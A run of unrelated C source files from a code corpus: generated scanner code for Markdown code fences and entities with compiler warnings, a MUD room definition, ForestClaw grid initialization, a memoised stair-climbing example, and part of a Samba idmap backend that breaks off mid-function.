'`') goto yy914; if (yych == '~') goto yy915; goto yy913; } yy912: { return 0; } yy913: ++p; goto yy912; yy914: yych = *(marker = ++p); if (yych == '`') goto yy916; goto yy912; yy915: yych = *(marker = ++p); if (yych == '~') goto yy918; goto yy912; yy916: yych = *++p; if (yybm[0+yych] & 16) { goto yy919; } yy917: p = marker; goto yy912; yy918: yych = *++p; if (yybm[0+yych] & 32) { goto yy921; } goto yy917; yy919: yych = *++p; if (yybm[0+yych] & 16) { goto yy919; } if (yych <= 0x00) goto yy917; if (yych == '\n') { marker = p; goto yy925; } marker = p; goto yy923; yy921: yych = *++p; if (yybm[0+yych] & 32) { goto yy921; } if (yych <= 0x00) goto yy917; if (yych == '\n') { marker = p; goto yy929; } marker = p; goto yy927; yy923: yych = *++p; if (yybm[0+yych] & 64) { goto yy923; } if (yych <= 0x00) goto yy917; if (yych >= '\v') goto yy917; yy925: ++p; p = marker; { return (p - start); } yy927: yych = *++p; if (yybm[0+yych] & 128) { goto yy927; } if (yych <= 0x00) goto yy917; if (yych >= '\v') goto yy917; yy929: ++p; p = marker; { return (p - start); } } } // Scan a closing code fence with length at least len. int _scan_close_code_fence(const unsigned char *p) { const unsigned char *marker = NULL; const unsigned char *start = p; { unsigned char yych; static const unsigned char yybm[] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, }; yych = *p; if (yych <= '_') { if (yych != '\n') goto yy934; } else { if (yych <= '`') goto yy935; if (yych == '~') goto yy936; goto yy934; } yy933: { return 0; } yy934: ++p; goto yy933; yy935: yych = *(marker = ++p); if (yych == '`') goto yy937; goto yy933; yy936: yych = *(marker = ++p); if (yych == '~') goto yy939; goto yy933; yy937: yych = *++p; if (yybm[0+yych] & 32) { goto yy940; } yy938: p = marker; goto yy933; yy939: yych = *++p; if (yybm[0+yych] & 64) { goto yy942; } goto yy938; yy940: yych = *++p; if (yybm[0+yych] & 32) { goto yy940; } if (yych <= '\n') { if (yych <= 0x08) goto yy938; if (yych <= '\t') { marker = p; goto yy944; } marker = p; goto yy946; } else { if (yych == ' ') { marker = p; goto yy944; } goto yy938; } yy942: yych = *++p; if (yybm[0+yych] & 64) { goto yy942; } if (yych <= '\n') { if (yych <= 0x08) goto yy938; if (yych <= '\t') { marker = p; goto yy948; } marker = p; goto yy950; } else { if (yych == ' ') { marker = p; goto yy948; } goto yy938; } yy944: yych = *++p; if (yybm[0+yych] & 128) { goto yy944; } if (yych <= 0x08) goto yy938; if (yych >= '\v') goto yy938; yy946: ++p; p = marker; { return (p - start); } yy948: yych = *++p; if (yych <= '\n') { if (yych <= 0x08) goto yy938; if (yych <= '\t') goto yy948; } else { if (yych == ' ') goto yy948; goto yy938; } yy950: ++p; p = marker; { return (p - start); } } } // Scans an entity. // Returns number of chars matched. int _scan_entity(const unsigned char *p) { const unsigned char *marker = NULL; const unsigned char *start = p; { unsigned char yych; yych = *p; if (yych == '\n') goto yy954; if (yych == '&') goto yy956; goto yy955; yy954: { return 0; } yy955: ++p; goto yy954; yy956: yych = *(marker = ++p); if (yych <= '@') { if (yych != '#') goto yy954; } else { if (yych <= 'Z') goto yy959; if (yych <= '`') goto yy954; if (yych <= 'z') goto yy959; goto yy954; } yych = *++p; if (yych <= 'W') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy960; } else { if (yych <= 'X') goto yy961; if (yych == 'x') goto yy961; } yy958: p = marker; goto yy954; yy959: yych = *++p; if (yych <= '@') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy962; goto yy958; } else { if (yych <= 'Z') goto yy962; if (yych <= '`') goto yy958; if (yych <= 'z') goto yy962; goto yy958; } yy960: yych = *++p; if (yych <= '/') goto yy958; if (yych <= '9') goto yy963; if (yych == ';') goto yy964; goto yy958; yy961: yych = *++p; if (yych <= '@') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy966; goto yy958; } else { if (yych <= 'F') goto yy966; if (yych <= '`') goto yy958; if (yych <= 'f') goto yy966; goto yy958; } yy962: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy967; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; goto yy967; } else { if (yych <= '`') goto yy958; if (yych <= 'z') goto yy967; goto yy958; } } yy963: yych = *++p; if (yych <= '/') goto yy958; if (yych <= '9') goto yy968; if (yych != ';') goto yy958; yy964: ++p; { return (p - start); } yy966: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy969; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'F') { if (yych <= '@') goto yy958; goto yy969; } else { if (yych <= '`') goto yy958; if (yych <= 'f') goto yy969; goto yy958; } } yy967: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy970; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; goto yy970; } else { if (yych <= '`') goto yy958; if (yych <= 'z') goto yy970; goto yy958; } } yy968: yych = *++p; if (yych <= '/') goto yy958; if (yych <= '9') goto yy971; if (yych == ';') goto yy964; goto yy958; yy969: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy972; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'F') { if (yych <= '@') goto yy958; goto yy972; } else { if (yych <= '`') goto yy958; if (yych <= 'f') goto yy972; goto yy958; } } yy970: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy973; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; goto yy973; } else { if (yych <= '`') goto yy958; if (yych <= 'z') goto yy973; goto yy958; } } yy971: yych = *++p; if (yych <= '/') goto yy958; if (yych <= '9') goto yy974; if (yych == ';') goto yy964; goto yy958; yy972: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy975; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'F') { if (yych <= '@') goto yy958; goto yy975; } else { if (yych <= '`') goto yy958; if (yych <= 'f') goto yy975; goto yy958; } } yy973: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy976; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; goto yy976; } else { if (yych <= '`') goto yy958; if (yych <= 'z') goto yy976; goto yy958; } } yy974: yych = *++p; if (yych <= '/') goto yy958; if (yych <= '9') goto yy977; if (yych == ';') goto yy964; goto yy958; yy975: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy978; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'F') { if (yych <= '@') goto yy958; goto yy978; } else { if (yych <= '`') goto yy958; if (yych <= 'f') goto yy978; goto yy958; } } yy976: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy979; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; goto yy979; } else { if (yych <= '`') goto yy958; if (yych <= 'z') goto yy979; goto yy958; } } yy977: yych = *++p; if (yych <= '/') goto yy958; if (yych <= '9') goto yy980; if (yych == ';') goto yy964; goto yy958; yy978: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy981; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'F') { if (yych <= '@') goto yy958; goto yy981; } else { if (yych <= '`') goto yy958; if (yych <= 'f') goto yy981; goto yy958; } } yy979: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy982; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; goto yy982; } else { if (yych <= '`') goto yy958; if (yych <= 'z') goto yy982; goto yy958; } } yy980: yych = *++p; if (yych <= '/') goto yy958; if (yych <= '9') goto yy983; if (yych == ';') goto yy964; goto yy958; yy981: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy984; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'F') { if (yych <= '@') goto yy958; goto yy984; } else { if (yych <= '`') goto yy958; if (yych <= 'f') goto yy984; goto yy958; } } yy982: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy985; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; goto yy985; } else { if (yych <= '`') goto yy958; if (yych <= 'z') goto yy985; goto yy958; } } yy983: yych = *++p; if (yych == ';') goto yy964; goto yy958; yy984: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy983; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'F') { if (yych <= '@') goto yy958; goto yy983; } else { if (yych <= '`') goto yy958; if (yych <= 'f') goto yy983; goto yy958; } } yy985: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy986; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; } else { if (yych <= '`') goto yy958; if (yych >= '{') goto yy958; } } yy986: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy987; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; } else { if (yych <= '`') goto yy958; if (yych >= '{') goto yy958; } } yy987: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy988; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; } else { if (yych <= '`') goto yy958; if (yych >= '{') goto yy958; } } yy988: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy989; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; } else { if (yych <= '`') goto yy958; if (yych >= '{') goto yy958; } } yy989: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy990; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; } else { if (yych <= '`') goto yy958; if (yych >= '{') goto yy958; } } yy990: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy991; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; } else { if (yych <= '`') goto yy958; if (yych >= '{') goto yy958; } } yy991: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy992; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; } else { if (yych <= '`') goto yy958; if (yych >= '{') goto yy958; } } yy992: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy993; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; } else { if (yych <= '`') goto yy958; if (yych >= '{') goto yy958; } } yy993: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy994; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; } else { if (yych <= '`') goto yy958; if (yych >= '{') goto yy958; } } yy994: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy995; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; } else { if (yych <= '`') goto yy958; if (yych >= '{') goto yy958; } } yy995: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy996; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; } else { if (yych <= '`') goto yy958; if (yych >= '{') goto yy958; } } yy996: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy997; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; } else { if (yych <= '`') goto yy958; if (yych >= '{') goto yy958; } } yy997: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy998; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; } else { if (yych <= '`') goto yy958; if (yych >= '{') goto yy958; } } yy998: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy999; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; } else { if (yych <= '`') goto yy958; if (yych >= '{') goto yy958; } } yy999: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy1000; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; } else { if (yych <= '`') goto yy958; if (yych >= '{') goto yy958; } } yy1000: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy1001; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; } else { if (yych <= '`') goto yy958; if (yych >= '{') goto yy958; } } yy1001: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy1002; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; } else { if (yych <= '`') goto yy958; if (yych >= '{') goto yy958; } } yy1002: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy1003; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; } else { if (yych <= '`') goto yy958; if (yych >= '{') goto yy958; } } yy1003: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy1004; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; } else { if (yych <= '`') goto yy958; if (yych >= '{') goto yy958; } } yy1004: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy1005; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; } else { if (yych <= '`') goto yy958; if (yych >= '{') goto yy958; } } yy1005: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy1006; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; } else { if (yych <= '`') goto yy958; if (yych >= '{') goto yy958; } } yy1006: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy1007; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; } else { if (yych <= '`') goto yy958; if (yych >= '{') goto yy958; } } yy1007: yych = *++p; if (yych <= ';') { if (yych <= '/') goto yy958; if (yych <= '9') goto yy983; if (yych <= ':') goto yy958; goto yy964; } else { if (yych <= 'Z') { if (yych <= '@') goto yy958; goto yy983; } else { if (yych <= '`') goto yy958; if (yych <= 'z') goto yy983; goto yy958; } } } } bug57_original.re:40:20: warning: escape has no effect: '\"' [-Wuseless-escape] bug57_original.re:42:23: warning: escape has no effect: '\"' [-Wuseless-escape] bug57_original.re:42:28: warning: escape has no effect: '\"' [-Wuseless-escape] bug57_original.re:42:37: warning: escape has no effect: '\"' [-Wuseless-escape] bug57_original.re:80:5: warning: rule matches empty string [-Wmatch-empty-string] bug57_original.re:95:5: warning: rule matches empty string [-Wmatch-empty-string] bug57_original.re:106:5: warning: rule matches empty string [-Wmatch-empty-string] bug57_original.re:120:5: warning: rule matches empty string [-Wmatch-empty-string] bug57_original.re:134:54: warning: rule matches empty string [-Wmatch-empty-string] bug57_original.re:135:5: warning: rule matches empty string [-Wmatch-empty-string] bug57_original.re:150:5: warning: rule matches empty string [-Wmatch-empty-string] bug57_original.re:159:17: warning: rule matches empty string [-Wmatch-empty-string] bug57_original.re:171:5: warning: rule matches empty string [-Wmatch-empty-string] bug57_original.re:183:5: warning: rule matches empty string [-Wmatch-empty-string] bug57_original.re:198:5: warning: rule matches empty string [-Wmatch-empty-string] bug57_original.re:210:28: warning: rule matches empty string [-Wmatch-empty-string] bug57_original.re:222:5: warning: rule matches empty string [-Wmatch-empty-string] bug57_original.re:235:5: warning: rule matches empty string [-Wmatch-empty-string]
31663.c
//cave56.c #include "../cave.h" inherit DDCAVE; void create(){ ::create(); set_exits(([ "northwest" : CAVEDIR+"cave55", "southeast" : CAVEDIR+"cave57" ])); set_smell("default","The smell of rotted flesh fills your nostrils."); set_listen("default","You hear the sounds of water dripping."); } /* void init(){ ::init(); do_random_encounters(({MONDIR+"hobgoblin",MONDIR+"hobgoblincaptain"}),20,4); } */
249118.c
/* Copyright (c) 2012 Carsten Burstedde, Donna Calhoun All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include <fclaw2d_forestclaw.h> #include <fclaw2d_global.h> #include <fclaw2d_options.h> #include <fclaw2d_convenience.h> #include <fclaw_gauges.h> #include <fclaw2d_partition.h> #include <fclaw2d_exchange.h> #include <fclaw2d_physical_bc.h> #include <fclaw2d_regrid.h> #include <fclaw2d_ghost_fill.h> #include <fclaw2d_diagnostics.h> #include <fclaw2d_map.h> #include <fclaw2d_patch.h> #include <fclaw2d_domain.h> #if defined(_OPENMP) #include <omp.h> #endif /* ----------------------------------------------------------------- Initial grid ----------------------------------------------------------------- */ static void cb_initialize (fclaw2d_domain_t *domain, fclaw2d_patch_t *this_patch, int this_block_idx, int this_patch_idx, void *user) { fclaw2d_global_iterate_t* g = (fclaw2d_global_iterate_t*) user; fclaw2d_build_mode_t build_mode = FCLAW2D_BUILD_FOR_UPDATE; fclaw2d_patch_build(g->glob,this_patch, this_block_idx, this_patch_idx, &build_mode); fclaw2d_patch_initialize(g->glob,this_patch,this_block_idx,this_patch_idx); } /* ----------------------------------------------------------------- Public interface ----------------------------------------------------------------- */ void fclaw2d_initialize(fclaw2d_global_t *glob) { fclaw2d_domain_t** domain = &glob->domain; int time_interp = 0; const fclaw_options_t *fclaw_opt = fclaw2d_get_options(glob); /* This mapping context is needed by fortran mapping functions */ fclaw2d_map_context_t *cont = glob->cont; SET_CONTEXT(&cont); int maxthreads = 0; #if defined(_OPENMP) maxthreads = omp_get_max_threads(); #endif fclaw_global_essentialf("Max threads set to %d\n",maxthreads); int minlevel = fclaw_opt->minlevel; int maxlevel = fclaw_opt->maxlevel; /* Initialize all timers */ int i; for (i = 0; i < FCLAW2D_TIMER_COUNT; ++i) { fclaw2d_timer_init (&glob->timers[i]); } /* start timing */ fclaw2d_domain_barrier (*domain); fclaw2d_timer_start (&glob->timers[FCLAW2D_TIMER_WALLTIME]); fclaw2d_timer_start (&glob->timers[FCLAW2D_TIMER_INIT]); /* User defined problem setup */ fclaw2d_problem_setup(glob); /* set specific refinement strategy */ fclaw2d_domain_set_refinement (*domain, fclaw_opt->smooth_refine, fclaw_opt->smooth_level, fclaw_opt->coarsen_delay); /* ------------------------------------------------ Set up initial domain. This needs to be set as if it were going to be used for updating. ------------------------------------------------ */ /* Get an initial domain */ fclaw2d_domain_setup(glob,*domain); /* Initialize patches on uniformly refined level minlevel */ fclaw2d_timer_start (&glob->timers[FCLAW2D_TIMER_REGRID_BUILD]); fclaw2d_global_iterate_level(glob, minlevel, cb_initialize, NULL); fclaw2d_timer_stop (&glob->timers[FCLAW2D_TIMER_REGRID_BUILD]); /* Set up ghost patches */ fclaw2d_exchange_setup(glob,FCLAW2D_TIMER_INIT); /* This is normally called from regrid */ fclaw2d_regrid_set_neighbor_types(glob); /* We need a user option here to set ghost values after initialization */ if (fclaw_opt->init_ghostcell) { fclaw2d_ghost_update(glob,(*domain)->global_minlevel, (*domain)->global_maxlevel,0.0, time_interp,FCLAW2D_TIMER_INIT); } #if 0 fclaw2d_physical_set_bc(glob,(*domain)->global_minlevel, 0.0,fclaw_opt->dt_initial,time_interp); #endif /* ------------------------------------------------ Done with initial setup. ------------------------------------------------ */ /* ------------------------------------------------ Build up an initial refinement. ------------------------------------------------ */ if (minlevel < maxlevel) { int domain_init = 1; int level; for (level = minlevel; level <= maxlevel; level++) { fclaw2d_timer_start (&glob->timers[FCLAW2D_TIMER_REGRID_TAGGING]); fclaw2d_global_iterate_families(glob, cb_regrid_tag4coarsening, (void*) &domain_init); fclaw2d_global_iterate_patches(glob,cb_fclaw2d_regrid_tag4refinement, &domain_init); fclaw2d_timer_stop (&glob->timers[FCLAW2D_TIMER_REGRID_TAGGING]); // Construct new domain based on tagged patches. fclaw2d_timer_stop (&glob->timers[FCLAW2D_TIMER_INIT]); fclaw2d_timer_start (&glob->timers[FCLAW2D_TIMER_ADAPT_COMM]); fclaw2d_domain_t *new_domain = fclaw2d_domain_adapt(*domain); int have_new_refinement = new_domain != NULL; if (have_new_refinement) { /* Have to get a new ddata */ fclaw2d_domain_setup(glob,new_domain); } fclaw2d_timer_stop (&glob->timers[FCLAW2D_TIMER_ADAPT_COMM]); fclaw2d_timer_start (&glob->timers[FCLAW2D_TIMER_INIT]); if (have_new_refinement) { fclaw_global_infof(" -- Have new initial refinement\n"); /* Re-initialize new grids. Ghost cell values needed for interpolation have already been set by initialization */ fclaw2d_timer_start (&glob->timers[FCLAW2D_TIMER_REGRID_BUILD]); fclaw2d_global_iterate_adapted(glob, new_domain, cb_fclaw2d_regrid_repopulate, (void *) &domain_init); fclaw2d_timer_stop (&glob->timers[FCLAW2D_TIMER_REGRID_BUILD]); /* free all memory associated with old domain */ fclaw2d_domain_reset(glob); *domain = new_domain; new_domain = NULL; /* Repartition domain to new processors. */ fclaw2d_partition_domain(glob,FCLAW2D_TIMER_INIT); /* Set up ghost patches. This probably doesn't need to be done each time we add a new level. */ fclaw2d_exchange_setup(glob,FCLAW2D_TIMER_INIT); /* This is normally called from regrid, once the initial domain has been set up */ fclaw2d_regrid_set_neighbor_types(glob); } else { fclaw_global_infof(" -- No new initial refinement\n"); /* We don't have a new refinement, and so can break out of level loop */ break; } } /* Level loop (minlevel --> maxlevel) */ } if (fclaw_opt->init_ghostcell) { fclaw2d_ghost_update(glob,(*domain)->global_minlevel, (*domain)->global_maxlevel,0.0, time_interp,FCLAW2D_TIMER_INIT); } fclaw2d_diagnostics_initialize(glob); fclaw_locate_gauges(glob); fclaw2d_after_regrid(glob); /* Print global minimum and maximum levels */ fclaw_global_infof("Global minlevel %d maxlevel %d\n", (*domain)->global_minlevel, (*domain)->global_maxlevel); /* Stop timer */ fclaw2d_timer_stop (&glob->timers[FCLAW2D_TIMER_INIT]); }
546613.c
#include <stdio.h> #include <stdlib.h> #include <string.h> /* * 爬楼梯问题,一次允许爬1步或2步 * _ F(n) * _| _ top 回首,最后一次爬1步 * _| F(n-1) + | 1 step * _| * _| _ top 回首,最后一次爬2步 * _| F(n-2) + _| 2 step * | * * F(n) = F(n-1) + F(n-2) 最优子结构,状态转移方程 * n = 1, F(1) = 1 边界 * n = 2, F(2) = 2 */ /* * 爬楼梯问题,解决重复计算,采用数据采样方法 * value: list, cache of caculated value[n] */ int climb(int n, int *value) { if (value[n] != 0) { return value[n]; } value[n] = climb(n - 1, value) + climb(n - 2, value); return value[n]; } int climbStairs(int n) { int *value = NULL; int res = 0; value = (int *)malloc(sizeof(int) * (n+1)); if (value == NULL) { return -1; } memset(value, 0, sizeof(int) * (n+1)); value[0] = 0; value[1] = 1; value[2] = 2; res = climb(n, value); free(value); return res; } int main() { printf("\r\nTotal %d, %d", 1,climbStairs(1)); printf("\r\nTotal %d, %d", 2,climbStairs(2)); printf("\r\nTotal %d, %d", 3,climbStairs(3)); printf("\r\nTotal %d, %d", 4,climbStairs(4)); printf("\r\nTotal %d, %d", 5,climbStairs(5)); printf("\r\nTotal %d, %d", 6,climbStairs(6)); printf("\r\nTotal %d, %d", 7,climbStairs(7)); return 0; }
561155.c
/* Unix SMB/CIFS implementation. idmap PASSDB backend Copyright (C) Simo Sorce 2006 This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include "includes.h" #include "winbindd.h" #undef DBGC_CLASS #define DBGC_CLASS DBGC_IDMAP /***************************** Initialise idmap database. *****************************/ static NTSTATUS idmap_nss_int_init(struct idmap_domain *dom, const char *params) { return NT_STATUS_OK; } /********************************** lookup a set of unix ids. **********************************/ static NTSTATUS idmap_nss_unixids_to_sids(struct idmap_domain *dom, struct id_map **ids) { TALLOC_CTX *ctx; int i; /* initialize the status to avoid suprise */ for (i = 0; ids[i]; i++) { ids[i]->status = ID_UNKNOWN; } ctx = talloc_new(dom); if ( ! ctx) { DEBUG(0, ("Out of memory!\n")); return NT_STATUS_NO_MEMORY; } for (i = 0; ids[i]; i++) { struct passwd *pw; struct group *gr; const char *name; enum lsa_SidType type; bool ret; switch (ids[i]->xid.type) { case ID_TYPE_UID: pw = getpwuid((uid_t)ids[i]->xid.id); if (!pw) { ids[i]->status = ID_UNMAPPED; continue; } name = pw->pw_name; break; case ID_TYPE_GID: gr = getgrgid((gid_t)ids[i]->xid.id); if (!gr) { ids[i]->status = ID_UNMAPPED; continue; } name = gr->gr_name; break; default: /* ?? */ ids[i]->status = ID_UNKNOWN; continue; } /* by default calls to winbindd are disabled the following call will not recurse so this is safe */ (void)winbind_on(); /* Lookup name from PDC using lsa_lookup_names() */ ret = winbind_lookup_name(dom->name, name, ids[i]->sid, &type); (void)winbind_off(); if (!ret) { /* TODO: how do we know if the name is really not mapped, * or something just failed ? */ ids[i]->status = ID_UNMAPPED; continue; } switch (type) { case SID_NAME_USER: if (ids[i]->xid.type == ID_TYPE_UID) { ids[i]->status = ID_MAPPED; } break; case SID_NAME_DOM_GRP: case SID_NAME_ALIAS: case SID_NAME_WKN_GRP: if (ids[i]->xid.type == ID_TYPE_GID) { ids[i]->status = ID_MAPPED; } break; default: ids[i]->status = ID_UNKNOWN; break; } } talloc_free(ctx); return NT_STATUS_OK; } /********************************** lookup a set of sids. **********************************/ static NTSTATUS idmap_nss_sids_to_unixids(struct idmap_domain *dom, struct id_map **ids) { TALLOC_CTX *ctx; int i; /* initialize the status to avoid suprise */ for (i = 0; ids[i]; i++) { ids[i]->status = ID_UNKNOWN; } ctx = talloc_new(dom); if ( ! ctx) { DEBUG(0, ("Out of memory!\n")); return NT_STATUS_NO_MEMORY; } for (i = 0; ids[i]; i++) { struct group *gr; enum lsa_SidType type; const char *dom_name = NULL; const char *name = NULL; bool ret; /* by default calls to winbindd are disabled the following call will not recurse so this is safe */ (void)winbind_on(); ret = winbind_lookup_sid(ctx, ids[i]->sid, 